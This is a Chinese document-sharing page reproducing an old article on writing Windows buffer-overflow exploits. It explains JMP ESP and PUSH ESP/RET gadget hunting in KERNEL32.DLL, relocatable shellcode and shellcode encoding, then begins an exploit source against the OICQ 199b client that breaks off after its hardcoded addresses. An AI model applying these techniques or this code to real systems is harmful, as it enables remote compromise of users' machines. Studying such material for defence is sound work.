- 7
- 0
- 约7.84千字
- 约 12页
- 2018-06-03 发布于福建
- 举报
WINDOWS下的溢出程序编写的技巧
WINDOWS下的溢出程序编写技巧
WINDOWS下的溢出程序编写技巧2010年12月29日星期三13:36曾经被cnns的人指责为抄袭的文章,具体事件参见《盲调》。
WINDOWS下的溢出程序编写技巧
作者:袁哥
看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。
1、JMP ESP的问题。
为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,
别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的
模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本
)。解决了JMP ESP(FF E4)代码找不到问题,增加使用
PUSH ESP(54)
。
RET(C3)
或者
PUSH ESP(54)
。
RET 00XX(C2 XX 00)(RET NUM,NUM最好不要太大,所以做限制NUM=00XX)
代码,这可以找到很多了。。为几条不定语句,但要不影响功能的。
比如找到一处代码就可以使用:
PUSH ESP AND AL,08 RET 10
选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。
因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然
KERNEL32。DLL的装载地址也不一样,真有点。具体哪个程序的溢出可以试着找那程序中的JMP ESP,
但这地址一般都是0X00XXXXXX,所以也有问题。这是否可以在程序中先识别要攻击系统的系统?下面程序是
用宏定义。
2、解决SHELLCODE的编写问题。
原来很多程序的SHELLCODE都是用先编写好后用\XAA\XBB的形式写出来,一个是不好修改,还有不好看
到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就
是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用
LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里
面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X
下没有统一了。
程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:
一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。
二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP
的代码用NOP填充。
3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的
SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。
/*oicq 199b build 0220 overflow program copy by yuange yuange@163.net 2000。04。18
新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
*/
#include windows.h
#include winsock.h
#include stdio.h
#define NUKEWIN2000
//#define NUKEWIN9X
#ifdef NUKEWIN2000
#define RETEIPADDR eipwin2000
#define LoadLibraryfnaddress 0x77e78023//0x77E60000+0xLoadLibrary
#define GetProcAddressfnaddress 0x77e7564b//0X77E60000+0x 0001564B GetProcAddress
#else
#ifdef NUKEWIN9X
#define RETEIPADDR eipwin9x
#define LoadLibraryfnaddress 0xbff77750//0xbff70000+0xLoadLibrary
#define GetProcAddressfnaddress 0xbff76e28//0xbff70000+0x00006e28 GetProcAddress
#else
#define RETEIPADD
您可能关注的文档
- H3134-街头篮球技能的技巧盖帽扣篮注册科比PG装备的技巧心得前锋.doc
- H41165-应用程序框架的设计.doc
- H4235-乔丹科比100分公牛麦克伯伦历史NBA十大纪录.doc
- H55872-白皮书答案2翻译.doc
- HDL 建模的技巧 低级建模 仿顺序操作 midd.doc
- HDL建模的技巧 低级建模 仿顺序操作.doc
- HTML的技巧 网页的设计 DW frontpag.doc
- ICP 电感耦合等离子光谱 使用的技巧(千问千答)1.doc
- HONEYWELL全数字化安防系统解决的方案 1.doc
- IDC机房工程的设计的方案.doc
- 2026年及未来5年内中国液体氩气行业投资前景及策略咨询研究报告.docx
- 2026年及未来5年内中国黄铜合页行业投资前景及策略咨询研究报告.docx
- 2026年及未来5年内中国竹工艺家具行业投资前景及策略咨询研究报告.docx
- 2025年中国微机数显自动分析仪市场调查研究报告.docx
- 2026年及未来5年内中国微尘白色粉笔行业投资前景及策略咨询研究报告.docx
- 2025年中国微电脑型压胶机市场调查研究报告.docx
- 2026年及未来5年内中国数字化等功游泳训练测试系统行业投资前景及策略咨询研究报告.docx
- 2025年中国圆形花瓶市场调查研究报告.docx
- 2026年及未来5年内中国植物纤维静淀过滤器行业投资前景及策略咨询研究报告.docx
- 2025年中国超音波手套机市场调查研究报告.docx
最近下载
- 辽宁省 新民县志.pdf
- 2026年上海市奉贤区高三语文一模试题及答案.pdf VIP
- 夏季高温施工专项方案.doc VIP
- 第五届大学生节能减排大赛社会调查报告类作品.doc VIP
- TCCSAS 061-2025 特殊作业监护人履责管理要求.pdf VIP
- (一模)东北三省三校2026年高三第一次联合模拟考试 生物试卷(含答案).docx
- 2025年广东省深圳市中考数学试卷(附参考答案).pdf VIP
- (一模)东北三省三校2026年高三第一次联合模拟考试 化学试卷(含答案).pdf
- 【雷赛】DMC1000&B用户手册V2.1.pdf VIP
- (一模)东北三省三校2026年高三第一次联合模拟考试 物理试卷(含答案详解).pdf
原创力文档

文档评论(0)